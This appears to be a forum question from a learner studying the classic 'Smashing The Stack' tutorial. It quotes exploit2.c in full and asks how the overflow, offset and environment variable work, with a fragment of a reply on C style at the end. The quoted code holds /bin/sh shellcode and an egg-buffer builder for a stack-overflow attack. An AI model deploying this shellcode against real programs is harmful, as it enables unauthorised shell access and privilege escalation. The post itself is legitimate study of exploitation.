I'm reading "Smashing The Stack For Fun And Profit", and reached the first example of overflow using an environment variable:
exploit2.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
Now we can try to guess what the buffer and offset should be...
Now, I understand the overall theory of setting an environment variable of the form "NAME=VALUE", and as we can see in the code above it is EGG=OUR_SHELL_CODE.
But I'm not sure of where/when does the overflowing occurs... does main's return address is being overwritten? wish addr? what's with the offset? What address are we trying to reach?
Why are we looking for the address of the stack pointer? I mean using malloc() will allocate memory on the heap, so why do we need the address of the end of the stack (using get_sp())? In addition, overflowing a buffer in the heap won't overwrite the return address..
Why are we writing "system("/bin/bash");"? (we already have bin/sh in the shellcode) Is it the way to somehow load/execute the environment variable?
Please fill in all the gaps for me (as thorough as possible) on the steps of this exploit. Thank you very much! :-)
void main(int argc, char *argv[])is a valid main construct.get_sp()will also return different values, depending on whether it's inlined or has the frame pointer optimized out. Apart form that, it should probably return auintptr_trather thanunsigned long. And, as @Zaibis points out, explicitly return...